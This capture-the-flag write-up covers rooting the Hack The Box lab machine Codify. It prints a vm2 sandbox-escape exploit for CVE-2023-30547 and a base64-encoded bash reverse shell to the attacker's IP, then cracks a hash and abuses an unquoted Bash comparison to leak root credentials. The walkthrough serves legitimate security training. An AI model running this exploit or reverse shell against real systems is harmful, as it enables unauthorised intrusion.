codify - hack the box

Codify is a vulnerable Linux machine released in November 2023. It features a web application that allows users to test Node.js code.

The application uses a vulnerable vm2 library can be exploited and used for remote code execution.

Enumerating the target reveals a SQLite database containing a hash. Once cracked, we will have SSH access to our target machine. Finally, a vulnerable Bash script can be run with elevated privileges which will lead to root access.

https://app.hackthebox.com/machines/574

Network Enumeration

Target IP: 10.129.25.177 Attacker IP: 10.10.14.92

nmap -sCVS 10.129.25.177

22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Lets check out the http page that is open to us, we edit our /etc/hosts to contain codify.htb and then head over to the site!

alt text

When we visit codify.htb we find a page where we can test node.js code in a sandbox environment. There is likely going to be a way that we can escape from this sandbox environment.

alt text

JS Environment Enumeration

We first want to find out what type of sandbox environment we are in. We can do this by testing various different modules until we get a hit.

alt text

Here are a couple of sandboxes we can test. We go down the list, the first one on the list seems to hit!

require('vm2')

alt textalt text

const version = require("vm2/package.json").version;

console.log(version)

alt textalt text

It looks like we have a positive output with vm2 module being loaded. We also find out what version is running. With this being known now, lets looks for any public exploits with vm2 sandbox escapes.

CVE-2023-30547

vm2 < 3.9.17 is vulnerable to arbitrary code execution due to an issue in exception sanitation. Attackers are able to exploit this issue by triggering a host exception within handleException(). This will enable the attackers to escape the sandbox, and once this is done, they can run code as host.

https://github.com/rvizx/CVE-2023-30547

Here is the code that is used to exploit this vulnerability

        const handler = {
            getPrototypeOf(target) {
                (function stack() {
                    new Error().stack;
                    stack();
                })();
            }
        };
        
        const proxiedErr = new Proxy(err, handler);
        try {
            throw proxiedErr;
        } catch ({constructor: c}) {
            c.constructor('return process')().mainModule.require('child_process').execSync('whoami');
        }

We are able to execute commands as the svc user on the attacking machine.

Lets try to set up a reverse shell.

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45Mi80NDQ0IDA+JjE= | base64 -d | bash

In this case we will use a base64 encoded reverse shell, and when we execute it on our target machine, we will decode the string.

alt text

We set up a listener on our attacking machine on port 4444 and catch a response.

penelope -i 10.10.14.92 4444

alt text

SVC to Joshua

As the SVC account we do not have many permissions at all. Lets check out the web root directory to see if we can find any interesting databases / files that can help us take control of the joshua account on the machine.

In the /var/www/contact directory we find a database named tickets.db

alt text

We get a hash that we copy from tickets.db

$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

Lets go ahead and save this to our attacking machine so we can crack this hash. I save the file as hash and go ahead and use hashcat to crack it.

hashcat -m 3200 hash ~/Downloads/rockyou.txt

We eventually get our credentials after some cracking.

alt text

joshua:spongebob1

Cool password.

Joshua Script Permission

We are able to ssh into our target machine with the joshua account credentials.

We run sudo -l to see if there are any interesting permissions with the Joshua account.

sudo -l

alt text

Here is the script that we find ‘mysql-backup.sh’

DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

There is an issue in the way this script compares the user-provided password and the real password. Since the right-side comparison variable is not quoted, this will allow us to do pattern matching. This is due to the use of == inside [[ ]] in Bash, which performs pattern matching rather than a direct string comparison. This means that we can use * as our password when authenticating and the script will run since since * matches any string.

/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"

The database password will be leaked if we snoop in on our processes. This is where pspy64s comes in, get it here:https://github.com/DominicBreuker/pspy

Script Credential Leak » Root

We will upload pspy64s to our target machine.

We head over to where we have it saved on our target machine and start a simple http server.

python -m http.server 80

alt text

wget http://10.10.14.92/pspy64s

`chmod +x psspy64s'

./pspy64s

alt text

Lets now run the backup as Joshua with sudo.

sudo ./mysql-backup.sh

alt text

We get a successful run, now we can view our pspy64s output to find our leaked credentials.

alt text

We find the password to be kljh12k3jhaskjh12kjh3

Lets see if this matches up with the root account.

su root

alt text

We now have root access! pwned

 

pwnand.win